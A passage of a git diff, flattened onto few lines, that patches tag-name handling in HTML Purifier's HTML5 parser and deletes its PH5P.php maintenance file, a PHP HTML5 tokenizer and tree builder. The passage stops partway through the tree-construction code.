break; - } - break; -@@ -3465,7 +3474,18 @@ - } - } - -- private function insertElement($token, $append = true) { -+ private function insertElement($token, $append = true, $check = false) { -+ // Proprietary workaround for libxml2's limitations with tag names -+ if ($check) { -+ // Slightly modified HTML5 tag-name modification, -+ // removing anything that's not an ASCII letter, digit, or hyphen -+ $token['name'] = preg_replace('/[^a-z0-9-]/i', '', $token['name']); -+ // Remove leading hyphens and numbers -+ $token['name'] = ltrim($token['name'], '-0..9'); -+ // In theory, this should ever be needed, but just in case -+ if ($token['name'] === '') $token['name'] = 'span'; // arbitrary generic choice -+ } -+ - $el = $this->dom->createElement($token['name']); - - foreach($token['attr'] as $attr) { -@@ -3659,7 +3679,7 @@ - } - } - -- private function generateImpliedEndTags(array $exclude = array()) { -+ private function generateImpliedEndTags($exclude = array()) { - /* When the steps below require the UA to generate implied end tags, - then, if the current node is a dd element, a dt element, an li element, - a p element, a td element, a th element, or a tr element, the UA must -@@ -3673,7 +3693,8 @@ - } - } - -- private function getElementCategory($name) { -+ private function getElementCategory($node) { -+ $name = $node->tagName; - if(in_array($name, $this->special)) - return self::SPECIAL; - diff --git a/classes/security/htmlpurifier/maintenance/PH5P.php b/classes/security/htmlpurifier/maintenance/PH5P.php deleted file mode 100644 index 96d0d13f9..000000000 --- a/classes/security/htmlpurifier/maintenance/PH5P.php +++ /dev/null @@ -1,3824 +0,0 @@ -data = $data; - $this->char = -1; - $this->EOF = strlen($data); - $this->tree = new HTML5TreeConstructer; - $this->content_model = self::PCDATA; - - $this->state = 'data'; - - while($this->state !== null) { - $this->{$this->state.'State'}(); - } - } - - public function save() { - return $this->tree->save(); - } - - private function char() { - return ($this->char < $this->EOF) - ? $this->data[$this->char] - : false; - } - - private function character($s, $l = 0) { - if($s + $l < $this->EOF) { - if($l === 0) { - return $this->data[$s]; - } else { - return substr($this->data, $s, $l); - } - } - } - - private function characters($char_class, $start) { - return preg_replace('#^(['.$char_class.']+).*#s', '\\1', substr($this->data, $start)); - } - - private function dataState() { - // Consume the next input character - $this->char++; - $char = $this->char(); - - if($char === '&' && ($this->content_model === self::PCDATA || $this->content_model === self::RCDATA)) { - /* U+0026 AMPERSAND (&) - When the content model flag is set to one of the PCDATA or RCDATA - states: switch to the entity data state. Otherwise: treat it as per - the "anything else" entry below. */ - $this->state = 'entityData'; - - } elseif($char === '-') { - /* If the content model flag is set to either the RCDATA state or - the CDATA state, and the escape flag is false, and there are at - least three characters before this one in the input stream, and the - last four characters in the input stream, including this one, are - U+003C LESS-THAN SIGN, U+0021 EXCLAMATION MARK, U+002D HYPHEN-MINUS, - and U+002D HYPHEN-MINUS (""), - set the escape flag to false. */ - if(($this->content_model === self::RCDATA || - $this->content_model === self::CDATA) && $this->escape === true && - $this->character($this->char, 3) === '-->') { - $this->escape = false; - } - - /* In any case, emit the input character as a character token. - Stay in the data state. */ - $this->emitToken(array( - 'type' => self::CHARACTR, - 'data' => $char - )); - - } elseif($this->char === $this->EOF) { - /* EOF - Emit an end-of-file token. */ - $this->EOF(); - - } elseif($this->content_model === self::PLAINTEXT) { - /* When the content model flag is set to the PLAINTEXT state - THIS DIFFERS GREATLY FROM THE SPEC: Get the remaining characters of - the text and emit it as a character token. */ - $this->emitToken(array( - 'type' => self::CHARACTR, - 'data' => substr($this->data, $this->char) - )); - - $this->EOF(); - - } else { - /* Anything else - THIS DIFFERS GREATLY FROM THE SPEC: Get as many character that - otherwise would also be treated as a character token and emit it - as a single character token. Stay in the data state. */ - $len = strcspn($this->data, '<&', $this->char); - $char = substr($this->data, $this->char, $len); - $this->char += $len - 1; - - $this->emitToken(array( - 'type' => self::CHARACTR, - 'data' => $char - )); - - $this->state = 'data'; - } - } - - private function entityDataState() { - // Attempt to consume an entity. - $entity = $this->entity(); - - // If nothing is returned, emit a U+0026 AMPERSAND character token. - // Otherwise, emit the character token that was returned. - $char = (!$entity) ? '&' : $entity; - $this->emitToken($char); - - // Finally, switch to the data state. - $this->state = 'data'; - } - - private function tagOpenState() { - switch($this->content_model) { - case self::RCDATA: - case self::CDATA: - /* If the next input character is a U+002F SOLIDUS (/) character, - consume it and switch to the close tag open state. If the next - input character is not a U+002F SOLIDUS (/) character, emit a - U+003C LESS-THAN SIGN character token and switch to the data - state to process the next input character. */ - if($this->character($this->char + 1) === '/') { - $this->char++; - $this->state = 'closeTagOpen'; - - } else { - $this->emitToken(array( - 'type' => self::CHARACTR, - 'data' => '<' - )); - - $this->state = 'data'; - } - break; - - case self::PCDATA: - // If the content model flag is set to the PCDATA state - // Consume the next input character: - $this->char++; - $char = $this->char(); - - if($char === '!') { - /* U+0021 EXCLAMATION MARK (!) - Switch to the markup declaration open state. */ - $this->state = 'markupDeclarationOpen'; - - } elseif($char === '/') { - /* U+002F SOLIDUS (/) - Switch to the close tag open state. */ - $this->state = 'closeTagOpen'; - - } elseif(preg_match('/^[A-Za-z]$/', $char)) { - /* U+0041 LATIN LETTER A through to U+005A LATIN LETTER Z - Create a new start tag token, set its tag name to the lowercase - version of the input character (add 0x0020 to the character's code - point), then switch to the tag name state. (Don't emit the token - yet; further details will be filled in before it is emitted.) */ - $this->token = array( - 'name' => strtolower($char), - 'type' => self::STARTTAG, - 'attr' => array() - ); - - $this->state = 'tagName'; - - } elseif($char === '>') { - /* U+003E GREATER-THAN SIGN (>) - Parse error. Emit a U+003C LESS-THAN SIGN character token and a - U+003E GREATER-THAN SIGN character token. Switch to the data state. */ - $this->emitToken(array( - 'type' => self::CHARACTR, - 'data' => '<>' - )); - - $this->state = 'data'; - - } elseif($char === '?') { - /* U+003F QUESTION MARK (?) - Parse error. Switch to the bogus comment state. */ - $this->state = 'bogusComment'; - - } else { - /* Anything else - Parse error. Emit a U+003C LESS-THAN SIGN character token and - reconsume the current input character in the data state. */ - $this->emitToken(array( - 'type' => self::CHARACTR, - 'data' => '<' - )); - - $this->char--; - $this->state = 'data'; - } - break; - } - } - - private function closeTagOpenState() { - $next_node = strtolower($this->characters('A-Za-z', $this->char + 1)); - $the_same = count($this->tree->stack) > 0 && $next_node === end($this->tree->stack)->nodeName; - - if(($this->content_model === self::RCDATA || $this->content_model === self::CDATA) && - (!$the_same || ($the_same && (!preg_match('/[\t\n\x0b\x0c >\/]/', - $this->character($this->char + 1 + strlen($next_node))) || $this->EOF === $this->char)))) { - /* If the content model flag is set to the RCDATA or CDATA states then - examine the next few characters. If they do not match the tag name of - the last start tag token emitted (case insensitively), or if they do but - they are not immediately followed by one of the following characters: - * U+0009 CHARACTER TABULATION - * U+000A LINE FEED (LF) - * U+000B LINE TABULATION - * U+000C FORM FEED (FF) - * U+0020 SPACE - * U+003E GREATER-THAN SIGN (>) - * U+002F SOLIDUS (/) - * EOF - ...then there is a parse error. Emit a U+003C LESS-THAN SIGN character - token, a U+002F SOLIDUS character token, and switch to the data state - to process the next input character. */ - $this->emitToken(array( - 'type' => self::CHARACTR, - 'data' => 'state = 'data'; - - } else { - /* Otherwise, if the content model flag is set to the PCDATA state, - or if the next few characters do match that tag name, consume the - next input character: */ - $this->char++; - $char = $this->char(); - - if(preg_match('/^[A-Za-z]$/', $char)) { - /* U+0041 LATIN LETTER A through to U+005A LATIN LETTER Z - Create a new end tag token, set its tag name to the lowercase version - of the input character (add 0x0020 to the character's code point), then - switch to the tag name state. (Don't emit the token yet; further details - will be filled in before it is emitted.) */ - $this->token = array( - 'name' => strtolower($char), - 'type' => self::ENDTAG - ); - - $this->state = 'tagName'; - - } elseif($char === '>') { - /* U+003E GREATER-THAN SIGN (>) - Parse error. Switch to the data state. */ - $this->state = 'data'; - - } elseif($this->char === $this->EOF) { - /* EOF - Parse error. Emit a U+003C LESS-THAN SIGN character token and a U+002F - SOLIDUS character token. Reconsume the EOF character in the data state. */ - $this->emitToken(array( - 'type' => self::CHARACTR, - 'data' => 'char--; - $this->state = 'data'; - - } else { - /* Parse error. Switch to the bogus comment state. */ - $this->state = 'bogusComment'; - } - } - } - - private function tagNameState() { - // Consume the next input character: - $this->char++; - $char = $this->character($this->char); - - if(preg_match('/^[\t\n\x0b\x0c ]$/', $char)) { - /* U+0009 CHARACTER TABULATION - U+000A LINE FEED (LF) - U+000B LINE TABULATION - U+000C FORM FEED (FF) - U+0020 SPACE - Switch to the before attribute name state. */ - $this->state = 'beforeAttributeName'; - - } elseif($char === '>') { - /* U+003E GREATER-THAN SIGN (>) - Emit the current tag token. Switch to the data state. */ - $this->emitToken($this->token); - $this->state = 'data'; - - } elseif($this->char === $this->EOF) { - /* EOF - Parse error. Emit the current tag token. Reconsume the EOF - character in the data state. */ - $this->emitToken($this->token); - - $this->char--; - $this->state = 'data'; - - } elseif($char === '/') { - /* U+002F SOLIDUS (/) - Parse error unless this is a permitted slash. Switch to the before - attribute name state. */ - $this->state = 'beforeAttributeName'; - - } else { - /* Anything else - Append the current input character to the current tag token's tag name. - Stay in the tag name state. */ - $this->token['name'] .= strtolower($char); - $this->state = 'tagName'; - } - } - - private function beforeAttributeNameState() { - // Consume the next input character: - $this->char++; - $char = $this->character($this->char); - - if(preg_match('/^[\t\n\x0b\x0c ]$/', $char)) { - /* U+0009 CHARACTER TABULATION - U+000A LINE FEED (LF) - U+000B LINE TABULATION - U+000C FORM FEED (FF) - U+0020 SPACE - Stay in the before attribute name state. */ - $this->state = 'beforeAttributeName'; - - } elseif($char === '>') { - /* U+003E GREATER-THAN SIGN (>) - Emit the current tag token. Switch to the data state. */ - $this->emitToken($this->token); - $this->state = 'data'; - - } elseif($char === '/') { - /* U+002F SOLIDUS (/) - Parse error unless this is a permitted slash. Stay in the before - attribute name state. */ - $this->state = 'beforeAttributeName'; - - } elseif($this->char === $this->EOF) { - /* EOF - Parse error. Emit the current tag token. Reconsume the EOF - character in the data state. */ - $this->emitToken($this->token); - - $this->char--; - $this->state = 'data'; - - } else { - /* Anything else - Start a new attribute in the current tag token. Set that attribute's - name to the current input character, and its value to the empty string. - Switch to the attribute name state. */ - $this->token['attr'][] = array( - 'name' => strtolower($char), - 'value' => null - ); - - $this->state = 'attributeName'; - } - } - - private function attributeNameState() { - // Consume the next input character: - $this->char++; - $char = $this->character($this->char); - - if(preg_match('/^[\t\n\x0b\x0c ]$/', $char)) { - /* U+0009 CHARACTER TABULATION - U+000A LINE FEED (LF) - U+000B LINE TABULATION - U+000C FORM FEED (FF) - U+0020 SPACE - Stay in the before attribute name state. */ - $this->state = 'afterAttributeName'; - - } elseif($char === '=') { - /* U+003D EQUALS SIGN (=) - Switch to the before attribute value state. */ - $this->state = 'beforeAttributeValue'; - - } elseif($char === '>') { - /* U+003E GREATER-THAN SIGN (>) - Emit the current tag token. Switch to the data state. */ - $this->emitToken($this->token); - $this->state = 'data'; - - } elseif($char === '/' && $this->character($this->char + 1) !== '>') { - /* U+002F SOLIDUS (/) - Parse error unless this is a permitted slash. Switch to the before - attribute name state. */ - $this->state = 'beforeAttributeName'; - - } elseif($this->char === $this->EOF) { - /* EOF - Parse error. Emit the current tag token. Reconsume the EOF - character in the data state. */ - $this->emitToken($this->token); - - $this->char--; - $this->state = 'data'; - - } else { - /* Anything else - Append the current input character to the current attribute's name. - Stay in the attribute name state. */ - $last = count($this->token['attr']) - 1; - $this->token['attr'][$last]['name'] .= strtolower($char); - - $this->state = 'attributeName'; - } - } - - private function afterAttributeNameState() { - // Consume the next input character: - $this->char++; - $char = $this->character($this->char); - - if(preg_match('/^[\t\n\x0b\x0c ]$/', $char)) { - /* U+0009 CHARACTER TABULATION - U+000A LINE FEED (LF) - U+000B LINE TABULATION - U+000C FORM FEED (FF) - U+0020 SPACE - Stay in the after attribute name state. */ - $this->state = 'afterAttributeName'; - - } elseif($char === '=') { - /* U+003D EQUALS SIGN (=) - Switch to the before attribute value state. */ - $this->state = 'beforeAttributeValue'; - - } elseif($char === '>') { - /* U+003E GREATER-THAN SIGN (>) - Emit the current tag token. Switch to the data state. */ - $this->emitToken($this->token); - $this->state = 'data'; - - } elseif($char === '/' && $this->character($this->char + 1) !== '>') { - /* U+002F SOLIDUS (/) - Parse error unless this is a permitted slash. Switch to the - before attribute name state. */ - $this->state = 'beforeAttributeName'; - - } elseif($this->char === $this->EOF) { - /* EOF - Parse error. Emit the current tag token. Reconsume the EOF - character in the data state. */ - $this->emitToken($this->token); - - $this->char--; - $this->state = 'data'; - - } else { - /* Anything else - Start a new attribute in the current tag token. Set that attribute's - name to the current input character, and its value to the empty string. - Switch to the attribute name state. */ - $this->token['attr'][] = array( - 'name' => strtolower($char), - 'value' => null - ); - - $this->state = 'attributeName'; - } - } - - private function beforeAttributeValueState() { - // Consume the next input character: - $this->char++; - $char = $this->character($this->char); - - if(preg_match('/^[\t\n\x0b\x0c ]$/', $char)) { - /* U+0009 CHARACTER TABULATION - U+000A LINE FEED (LF) - U+000B LINE TABULATION - U+000C FORM FEED (FF) - U+0020 SPACE - Stay in the before attribute value state. */ - $this->state = 'beforeAttributeValue'; - - } elseif($char === '"') { - /* U+0022 QUOTATION MARK (") - Switch to the attribute value (double-quoted) state. */ - $this->state = 'attributeValueDoubleQuoted'; - - } elseif($char === '&') { - /* U+0026 AMPERSAND (&) - Switch to the attribute value (unquoted) state and reconsume - this input character. */ - $this->char--; - $this->state = 'attributeValueUnquoted'; - - } elseif($char === '\'') { - /* U+0027 APOSTROPHE (') - Switch to the attribute value (single-quoted) state. */ - $this->state = 'attributeValueSingleQuoted'; - - } elseif($char === '>') { - /* U+003E GREATER-THAN SIGN (>) - Emit the current tag token. Switch to the data state. */ - $this->emitToken($this->token); - $this->state = 'data'; - - } else { - /* Anything else - Append the current input character to the current attribute's value. - Switch to the attribute value (unquoted) state. */ - $last = count($this->token['attr']) - 1; - $this->token['attr'][$last]['value'] .= $char; - - $this->state = 'attributeValueUnquoted'; - } - } - - private function attributeValueDoubleQuotedState() { - // Consume the next input character: - $this->char++; - $char = $this->character($this->char); - - if($char === '"') { - /* U+0022 QUOTATION MARK (") - Switch to the before attribute name state. */ - $this->state = 'beforeAttributeName'; - - } elseif($char === '&') { - /* U+0026 AMPERSAND (&) - Switch to the entity in attribute value state. */ - $this->entityInAttributeValueState('double'); - - } elseif($this->char === $this->EOF) { - /* EOF - Parse error. Emit the current tag token. Reconsume the character - in the data state. */ - $this->emitToken($this->token); - - $this->char--; - $this->state = 'data'; - - } else { - /* Anything else - Append the current input character to the current attribute's value. - Stay in the attribute value (double-quoted) state. */ - $last = count($this->token['attr']) - 1; - $this->token['attr'][$last]['value'] .= $char; - - $this->state = 'attributeValueDoubleQuoted'; - } - } - - private function attributeValueSingleQuotedState() { - // Consume the next input character: - $this->char++; - $char = $this->character($this->char); - - if($char === '\'') { - /* U+0022 QUOTATION MARK (') - Switch to the before attribute name state. */ - $this->state = 'beforeAttributeName'; - - } elseif($char === '&') { - /* U+0026 AMPERSAND (&) - Switch to the entity in attribute value state. */ - $this->entityInAttributeValueState('single'); - - } elseif($this->char === $this->EOF) { - /* EOF - Parse error. Emit the current tag token. Reconsume the character - in the data state. */ - $this->emitToken($this->token); - - $this->char--; - $this->state = 'data'; - - } else { - /* Anything else - Append the current input character to the current attribute's value. - Stay in the attribute value (single-quoted) state. */ - $last = count($this->token['attr']) - 1; - $this->token['attr'][$last]['value'] .= $char; - - $this->state = 'attributeValueSingleQuoted'; - } - } - - private function attributeValueUnquotedState() { - // Consume the next input character: - $this->char++; - $char = $this->character($this->char); - - if(preg_match('/^[\t\n\x0b\x0c ]$/', $char)) { - /* U+0009 CHARACTER TABULATION - U+000A LINE FEED (LF) - U+000B LINE TABULATION - U+000C FORM FEED (FF) - U+0020 SPACE - Switch to the before attribute name state. */ - $this->state = 'beforeAttributeName'; - - } elseif($char === '&') { - /* U+0026 AMPERSAND (&) - Switch to the entity in attribute value state. */ - $this->entityInAttributeValueState('non'); - - } elseif($char === '>') { - /* U+003E GREATER-THAN SIGN (>) - Emit the current tag token. Switch to the data state. */ - $this->emitToken($this->token); - $this->state = 'data'; - - } else { - /* Anything else - Append the current input character to the current attribute's value. - Stay in the attribute value (unquoted) state. */ - $last = count($this->token['attr']) - 1; - $this->token['attr'][$last]['value'] .= $char; - - $this->state = 'attributeValueUnquoted'; - } - } - - private function entityInAttributeValueState() { - // Attempt to consume an entity. - $entity = $this->entity(); - - // If nothing is returned, append a U+0026 AMPERSAND character to the - // current attribute's value. Otherwise, emit the character token that - // was returned. - $char = (!$entity) - ? '&' - : $entity; - - $this->emitToken($char); - } - - private function bogusCommentState() { - /* Consume every character up to the first U+003E GREATER-THAN SIGN - character (>) or the end of the file (EOF), whichever comes first. Emit - a comment token whose data is the concatenation of all the characters - starting from and including the character that caused the state machine - to switch into the bogus comment state, up to and including the last - consumed character before the U+003E character, if any, or up to the - end of the file otherwise. (If the comment was started by the end of - the file (EOF), the token is empty.) */ - $data = $this->characters('^>', $this->char); - $this->emitToken(array( - 'data' => $data, - 'type' => self::COMMENT - )); - - $this->char += strlen($data); - - /* Switch to the data state. */ - $this->state = 'data'; - - /* If the end of the file was reached, reconsume the EOF character. */ - if($this->char === $this->EOF) { - $this->char = $this->EOF - 1; - } - } - - private function markupDeclarationOpenState() { - /* If the next two characters are both U+002D HYPHEN-MINUS (-) - characters, consume those two characters, create a comment token whose - data is the empty string, and switch to the comment state. */ - if($this->character($this->char + 1, 2) === '--') { - $this->char += 2; - $this->state = 'comment'; - $this->token = array( - 'data' => null, - 'type' => self::COMMENT - ); - - /* Otherwise if the next seven chacacters are a case-insensitive match - for the word "DOCTYPE", then consume those characters and switch to the - DOCTYPE state. */ - } elseif(strtolower($this->character($this->char + 1, 7)) === 'doctype') { - $this->char += 7; - $this->state = 'doctype'; - - /* Otherwise, is is a parse error. Switch to the bogus comment state. - The next character that is consumed, if any, is the first character - that will be in the comment. */ - } else { - $this->char++; - $this->state = 'bogusComment'; - } - } - - private function commentState() { - /* Consume the next input character: */ - $this->char++; - $char = $this->char(); - - /* U+002D HYPHEN-MINUS (-) */ - if($char === '-') { - /* Switch to the comment dash state */ - $this->state = 'commentDash'; - - /* EOF */ - } elseif($this->char === $this->EOF) { - /* Parse error. Emit the comment token. Reconsume the EOF character - in the data state. */ - $this->emitToken($this->token); - $this->char--; - $this->state = 'data'; - - /* Anything else */ - } else { - /* Append the input character to the comment token's data. Stay in - the comment state. */ - $this->token['data'] .= $char; - } - } - - private function commentDashState() { - /* Consume the next input character: */ - $this->char++; - $char = $this->char(); - - /* U+002D HYPHEN-MINUS (-) */ - if($char === '-') { - /* Switch to the comment end state */ - $this->state = 'commentEnd'; - - /* EOF */ - } elseif($this->char === $this->EOF) { - /* Parse error. Emit the comment token. Reconsume the EOF character - in the data state. */ - $this->emitToken($this->token); - $this->char--; - $this->state = 'data'; - - /* Anything else */ - } else { - /* Append a U+002D HYPHEN-MINUS (-) character and the input - character to the comment token's data. Switch to the comment state. */ - $this->token['data'] .= '-'.$char; - $this->state = 'comment'; - } - } - - private function commentEndState() { - /* Consume the next input character: */ - $this->char++; - $char = $this->char(); - - if($char === '>') { - $this->emitToken($this->token); - $this->state = 'data'; - - } elseif($char === '-') { - $this->token['data'] .= '-'; - - } elseif($this->char === $this->EOF) { - $this->emitToken($this->token); - $this->char--; - $this->state = 'data'; - - } else { - $this->token['data'] .= '--'.$char; - $this->state = 'comment'; - } - } - - private function doctypeState() { - /* Consume the next input character: */ - $this->char++; - $char = $this->char(); - - if(preg_match('/^[\t\n\x0b\x0c ]$/', $char)) { - $this->state = 'beforeDoctypeName'; - - } else { - $this->char--; - $this->state = 'beforeDoctypeName'; - } - } - - private function beforeDoctypeNameState() { - /* Consume the next input character: */ - $this->char++; - $char = $this->char(); - - if(preg_match('/^[\t\n\x0b\x0c ]$/', $char)) { - // Stay in the before DOCTYPE name state. - - } elseif(preg_match('/^[a-z]$/', $char)) { - $this->token = array( - 'name' => strtoupper($char), - 'type' => self::DOCTYPE, - 'error' => true - ); - - $this->state = 'doctypeName'; - - } elseif($char === '>') { - $this->emitToken(array( - 'name' => null, - 'type' => self::DOCTYPE, - 'error' => true - )); - - $this->state = 'data'; - - } elseif($this->char === $this->EOF) { - $this->emitToken(array( - 'name' => null, - 'type' => self::DOCTYPE, - 'error' => true - )); - - $this->char--; - $this->state = 'data'; - - } else { - $this->token = array( - 'name' => $char, - 'type' => self::DOCTYPE, - 'error' => true - ); - - $this->state = 'doctypeName'; - } - } - - private function doctypeNameState() { - /* Consume the next input character: */ - $this->char++; - $char = $this->char(); - - if(preg_match('/^[\t\n\x0b\x0c ]$/', $char)) { - $this->state = 'AfterDoctypeName'; - - } elseif($char === '>') { - $this->emitToken($this->token); - $this->state = 'data'; - - } elseif(preg_match('/^[a-z]$/', $char)) { - $this->token['name'] .= strtoupper($char); - - } elseif($this->char === $this->EOF) { - $this->emitToken($this->token); - $this->char--; - $this->state = 'data'; - - } else { - $this->token['name'] .= $char; - } - - $this->token['error'] = ($this->token['name'] === 'HTML') - ? false - : true; - } - - private function afterDoctypeNameState() { - /* Consume the next input character: */ - $this->char++; - $char = $this->char(); - - if(preg_match('/^[\t\n\x0b\x0c ]$/', $char)) { - // Stay in the DOCTYPE name state. - - } elseif($char === '>') { - $this->emitToken($this->token); - $this->state = 'data'; - - } elseif($this->char === $this->EOF) { - $this->emitToken($this->token); - $this->char--; - $this->state = 'data'; - - } else { - $this->token['error'] = true; - $this->state = 'bogusDoctype'; - } - } - - private function bogusDoctypeState() { - /* Consume the next input character: */ - $this->char++; - $char = $this->char(); - - if($char === '>') { - $this->emitToken($this->token); - $this->state = 'data'; - - } elseif($this->char === $this->EOF) { - $this->emitToken($this->token); - $this->char--; - $this->state = 'data'; - - } else { - // Stay in the bogus DOCTYPE state. - } - } - - private function entity() { - $start = $this->char; - - // This section defines how to consume an entity. This definition is - // used when parsing entities in text and in attributes. - - // The behaviour depends on the identity of the next character (the - // one immediately after the U+0026 AMPERSAND character): - - switch($this->character($this->char + 1)) { - // U+0023 NUMBER SIGN (#) - case '#': - - // The behaviour further depends on the character after the - // U+0023 NUMBER SIGN: - switch($this->character($this->char + 1)) { - // U+0078 LATIN SMALL LETTER X - // U+0058 LATIN CAPITAL LETTER X - case 'x': - case 'X': - // Follow the steps below, but using the range of - // characters U+0030 DIGIT ZERO through to U+0039 DIGIT - // NINE, U+0061 LATIN SMALL LETTER A through to U+0066 - // LATIN SMALL LETTER F, and U+0041 LATIN CAPITAL LETTER - // A, through to U+0046 LATIN CAPITAL LETTER F (in other - // words, 0-9, A-F, a-f). - $char = 1; - $char_class = '0-9A-Fa-f'; - break; - - // Anything else - default: - // Follow the steps below, but using the range of - // characters U+0030 DIGIT ZERO through to U+0039 DIGIT - // NINE (i.e. just 0-9). - $char = 0; - $char_class = '0-9'; - break; - } - - // Consume as many characters as match the range of characters - // given above. - $this->char++; - $e_name = $this->characters($char_class, $this->char + $char + 1); - $entity = $this->character($start, $this->char); - $cond = strlen($e_name) > 0; - - // The rest of the parsing happens bellow. - break; - - // Anything else - default: - // Consume the maximum number of characters possible, with the - // consumed characters case-sensitively matching one of the - // identifiers in the first column of the entities table. - $e_name = $this->characters('0-9A-Za-z;', $this->char + 1); - $len = strlen($e_name); - - for($c = 1; $c <= $len; $c++) { - $id = substr($e_name, 0, $c); - $this->char++; - - if(in_array($id, $this->entities)) { - $entity = $id; - break; - } - } - - $cond = isset($entity); - // The rest of the parsing happens bellow. - break; - } - - if(!$cond) { - // If no match can be made, then this is a parse error. No - // characters are consumed, and nothing is returned. - $this->char = $start; - return false; - } - - // Return a character token for the character corresponding to the - // entity name (as given by the second column of the entities table). - return html_entity_decode('&'.$entity.';', ENT_QUOTES, 'UTF-8'); - } - - private function emitToken($token) { - $emit = $this->tree->emitToken($token); - - if(is_int($emit)) { - $this->content_model = $emit; - - } elseif($token['type'] === self::ENDTAG) { - $this->content_model = self::PCDATA; - } - } - - private function EOF() { - $this->state = null; - $this->tree->emitToken(array( - 'type' => self::EOF - )); - } -} - -class HTML5TreeConstructer { - public $stack = array(); - - private $phase; - private $mode; - private $dom; - private $foster_parent = null; - private $a_formatting = array(); - - private $head_pointer = null; - private $form_pointer = null; - - private $scoping = array('button','caption','html','marquee','object','table','td','th'); - private $formatting = array('a','b','big','em','font','i','nobr','s','small','strike','strong','tt','u'); - private $special = array('address','area','base','basefont','bgsound', - 'blockquote','body','br','center','col','colgroup','dd','dir','div','dl', - 'dt','embed','fieldset','form','frame','frameset','h1','h2','h3','h4','h5', - 'h6','head','hr','iframe','image','img','input','isindex','li','link', - 'listing','menu','meta','noembed','noframes','noscript','ol','optgroup', - 'option','p','param','plaintext','pre','script','select','spacer','style', - 'tbody','textarea','tfoot','thead','title','tr','ul','wbr'); - - // The different phases. - const INIT_PHASE = 0; - const ROOT_PHASE = 1; - const MAIN_PHASE = 2; - const END_PHASE = 3; - - // The different insertion modes for the main phase. - const BEFOR_HEAD = 0; - const IN_HEAD = 1; - const AFTER_HEAD = 2; - const IN_BODY = 3; - const IN_TABLE = 4; - const IN_CAPTION = 5; - const IN_CGROUP = 6; - const IN_TBODY = 7; - const IN_ROW = 8; - const IN_CELL = 9; - const IN_SELECT = 10; - const AFTER_BODY = 11; - const IN_FRAME = 12; - const AFTR_FRAME = 13; - - // The different types of elements. - const SPECIAL = 0; - const SCOPING = 1; - const FORMATTING = 2; - const PHRASING = 3; - - const MARKER = 0; - - public function __construct() { - $this->phase = self::INIT_PHASE; - $this->mode = self::BEFOR_HEAD; - $this->dom = new DOMDocument; - - $this->dom->encoding = 'UTF-8'; - $this->dom->preserveWhiteSpace = true; - $this->dom->substituteEntities = true; - $this->dom->strictErrorChecking = false; - } - - // Process tag tokens - public function emitToken($token) { - switch($this->phase) { - case self::INIT_PHASE: return $this->initPhase($token); break; - case self::ROOT_PHASE: return $this->rootElementPhase($token); break; - case self::MAIN_PHASE: return $this->mainPhase($token); break; - case self::END_PHASE : return $this->trailingEndPhase($token); break; - } - } - - private function initPhase($token) { - /* Initially, the tree construction stage must handle each token - emitted from the tokenisation stage as follows: */ - - /* A DOCTYPE token that is marked as being in error - A comment token - A start tag token - An end tag token - A character token that is not one of one of U+0009 CHARACTER TABULATION, - U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), - or U+0020 SPACE - An end-of-file token */ - if((isset($token['error']) && $token['error']) || - $token['type'] === HTML5::COMMENT || - $token['type'] === HTML5::STARTTAG || - $token['type'] === HTML5::ENDTAG || - $token['type'] === HTML5::EOF || - ($token['type'] === HTML5::CHARACTR && isset($token['data']) && - !preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data']))) { - /* This specification does not define how to handle this case. In - particular, user agents may ignore the entirety of this specification - altogether for such documents, and instead invoke special parse modes - with a greater emphasis on backwards compatibility. */ - - $this->phase = self::ROOT_PHASE; - return $this->rootElementPhase($token); - - /* A DOCTYPE token marked as being correct */ - } elseif(isset($token['error']) && !$token['error']) { - /* Append a DocumentType node to the Document node, with the name - attribute set to the name given in the DOCTYPE token (which will be - "HTML"), and the other attributes specific to DocumentType objects - set to null, empty lists, or the empty string as appropriate. */ - $doctype = new DOMDocumentType(null, null, 'HTML'); - - /* Then, switch to the root element phase of the tree construction - stage. */ - $this->phase = self::ROOT_PHASE; - - /* A character token that is one of one of U+0009 CHARACTER TABULATION, - U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), - or U+0020 SPACE */ - } elseif(isset($token['data']) && preg_match('/^[\t\n\x0b\x0c ]+$/', - $token['data'])) { - /* Append that character to the Document node. */ - $text = $this->dom->createTextNode($token['data']); - $this->dom->appendChild($text); - } - } - - private function rootElementPhase($token) { - /* After the initial phase, as each token is emitted from the tokenisation - stage, it must be processed as described in this section. */ - - /* A DOCTYPE token */ - if($token['type'] === HTML5::DOCTYPE) { - // Parse error. Ignore the token. - - /* A comment token */ - } elseif($token['type'] === HTML5::COMMENT) { - /* Append a Comment node to the Document object with the data - attribute set to the data given in the comment token. */ - $comment = $this->dom->createComment($token['data']); - $this->dom->appendChild($comment); - - /* A character token that is one of one of U+0009 CHARACTER TABULATION, - U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), - or U+0020 SPACE */ - } elseif($token['type'] === HTML5::CHARACTR && - preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) { - /* Append that character to the Document node. */ - $text = $this->dom->createTextNode($token['data']); - $this->dom->appendChild($text); - - /* A character token that is not one of U+0009 CHARACTER TABULATION, - U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED - (FF), or U+0020 SPACE - A start tag token - An end tag token - An end-of-file token */ - } elseif(($token['type'] === HTML5::CHARACTR && - !preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) || - $token['type'] === HTML5::STARTTAG || - $token['type'] === HTML5::ENDTAG || - $token['type'] === HTML5::EOF) { - /* Create an HTMLElement node with the tag name html, in the HTML - namespace. Append it to the Document object. Switch to the main - phase and reprocess the current token. */ - $html = $this->dom->createElement('html'); - $this->dom->appendChild($html); - $this->stack[] = $html; - - $this->phase = self::MAIN_PHASE; - return $this->mainPhase($token); - } - } - - private function mainPhase($token) { - /* Tokens in the main phase must be handled as follows: */ - - /* A DOCTYPE token */ - if($token['type'] === HTML5::DOCTYPE) { - // Parse error. Ignore the token. - - /* A start tag token with the tag name "html" */ - } elseif($token['type'] === HTML5::STARTTAG && $token['name'] === 'html') { - /* If this start tag token was not the first start tag token, then - it is a parse error. */ - - /* For each attribute on the token, check to see if the attribute - is already present on the top element of the stack of open elements. - If it is not, add the attribute and its corresponding value to that - element. */ - foreach($token['attr'] as $attr) { - if(!$this->stack[0]->hasAttribute($attr['name'])) { - $this->stack[0]->setAttribute($attr['name'], $attr['value']); - } - } - - /* An end-of-file token */ - } elseif($token['type'] === HTML5::EOF) { - /* 